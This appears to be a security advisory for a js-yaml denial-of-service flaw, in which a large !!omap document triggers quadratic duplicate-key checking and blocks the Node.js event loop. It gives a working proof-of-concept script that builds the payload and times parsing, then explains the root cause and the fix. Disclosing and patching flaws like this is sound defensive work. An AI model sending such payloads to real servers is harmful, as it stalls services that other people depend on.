CVE-2026-59870: js-yaml Quadratic CPU Denial of Service via !!omap
Parsing a large YAML ordered-map (!!omap) document with js-yaml 4.x blocks the Node.js event loop for seconds, letting any attacker stall your server with a single HTTP request.

The problem
The resolveYamlOmap() function in lib/type/omap.js checks for duplicate keys by calling objectKeys.indexOf(pairKey) inside a per-entry loop. That makes the operation O(n²): resolving 80,000 entries takes roughly 2.6 seconds of synchronous CPU on a modern machine.
The !!omap tag is registered in the **default schema**, so no special options or schema override is needed. A plain yaml.load(untrustedInput) call is enough to trigger it. Because the loop is synchronous, one malicious request blocks the entire Node.js event loop and stalls every concurrent request in the process.
Proof of concept
A working proof-of-concept for this issue in js-yaml, with the exact payload below.
// poc.js — node poc.js
const yaml = require('js-yaml');
// Build an !!omap document with n unique entries
const doc = n =>
'!!omap\n' +
Array.from({ length: n }, (_, i) => `- k${i}: ${i}`).join('\n') +
'\n';
for (const n of [10000, 20000, 40000, 80000]) {
const d = doc(n), t = Date.now();
yaml.load(d); // default schema, no options needed
console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`);
}
// Observed on js-yaml 4.3.0 / node v20:
// n=10000 bytes=137787 load=54ms
// n=20000 bytes=297787 load=169ms
// n=40000 bytes=617787 load=646ms
// n=80000 bytes=1257787 load=2607ms
// ~4x runtime per 2x input = O(n²) confirmedThe root cause is CWE-407 (Insufficient Algorithmic Complexity). Array.prototype.indexOf is a linear scan, so inserting n entries into objectKeys requires 1+2+…+n comparisons, totalling O(n²) work. Runtime scales by ~4x for every 2x growth in entry count, the classic quadratic signature.
The fix, already shipped in the 5.x line (commit 39f3211), replaces the growing array with a Set: if (seen.has(pairKey)) return false; seen.add(pairKey). Each lookup and insert is O(1), making the full resolution O(n). The 4.x patch in 4.3.1 backports exactly this change to lib/type/omap.js.
The fix
Upgrade js-yaml to **4.3.1** (4.x users) or **3.x** users should watch for the backport release. The 5.x line has been fixed since 5.2.1. No workaround exists short of rejecting or size-capping YAML input before it reaches yaml.load().
Related research
- high · 7.5js-yaml: Exponential Parsing DoS via Nested Flow Collections
- high · 7.5CVE-2026-59869CVE-2026-59869: js-yaml Merge-Key Chain Quadratic CPU DoS
- high · 7.5CVE-2026-71321CVE-2026-71321: Nuxt Island Endpoint Unauthenticated CPU Exhaustion (DoS)
- highShescape: Quadratic-Time Denial of Service in Flag Protection